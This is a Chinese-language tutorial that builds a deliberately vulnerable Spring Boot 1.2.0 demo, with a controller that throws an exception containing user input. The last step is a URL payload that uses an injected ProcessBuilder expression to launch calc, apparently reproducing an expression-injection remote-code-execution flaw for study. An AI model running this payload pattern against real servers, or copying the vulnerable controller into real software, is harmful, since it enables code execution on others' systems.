1.file==》new==》project

2.搭建成功，目錄結構如下

3.右鍵com.example.demo

4.新建包

5.右鍵web包，新建Java Class檔案SimpleController

package com.example.demo.web;

import com.example.demo.service.HelloWorldService;

import org.springframework.beans.factory.annotation.Autowired;

import org.springframework.stereotype.Controller;
 

import org.springframework.web.bind.annotation.RequestMapping;

import org.springframework.web.bind.annotation.ResponseBody;

import javax.servlet.http.HttpServletRequest;

import javax.servlet.http.HttpServletResponse;

@Controller

public class SampleController {

    @Autowired

    private HelloWorldService helloWorldService;
 

    @RequestMapping("/")

    @ResponseBody

    public String helloWorld(String payload){

        //Integer.parseInt(id);

        //throw new IlleaglStateException();

        throw  new IllegalStateException(payload);

    }

}

6.新建service檔案HelloWorldService

package com.example.demo.service;

import org.springframework.stereotype.Service;
 

@Service

public class HelloWorldService {

}

<?xml version="1.0" encoding="UTF-8"?>

<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"

         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">

    <modelVersion>4.0.0</modelVersion>

    <parent>

        <groupId>org.springframework.boot</groupId>

        <artifactId>spring-boot-starter-parent</artifactId>

        <version>1.2.0.RELEASE</version>

    </parent>

    <groupId>com.example</groupId>

    <artifactId>demo</artifactId>

    <version>0.0.1-SNAPSHOT</version>

    <name>demo</name>

    <description>Demo project for Spring Boot</description>

    <properties>

        <java.version>1.7</java.version>

    </properties>

    <dependencies>

        <dependency>

            <groupId>org.springframework.boot</groupId>

            <artifactId>spring-boot-starter-web</artifactId>

            <version>1.2.0.RELEASE</version>

        </dependency>

        <dependency>

            <groupId>org.springframework.boot</groupId>

            <artifactId>spring-boot-starter-tomcat</artifactId>

            <version>1.2.0.RELEASE</version>

            <scope>provided</scope>

        </dependency>

        <dependency>

            <groupId>org.springframework</groupId>

            <artifactId>spring-test</artifactId>

            <version>4.1.6.RELEASE</version>

        </dependency>

    </dependencies>

    <build>

        <plugins>

            <plugin>

                <groupId>org.springframework.boot</groupId>

                <artifactId>spring-boot-maven-plugin</artifactId>

            </plugin>

        </plugins>

    </build>

</project>


7.執行專案
開啟DemoApplication.java檔案，右鍵執行

8.此時會報錯，刪除test資料夾即可（右鍵==》delete）

9.再次執行，出現以下介面即為成功

10.位址列裡輸入http://127.0.0.1:8080/?payload=${new%20java.lang.ProcessBuilder(new%20java.lang.String(new%20byte[]{99,97,108,99})).start()}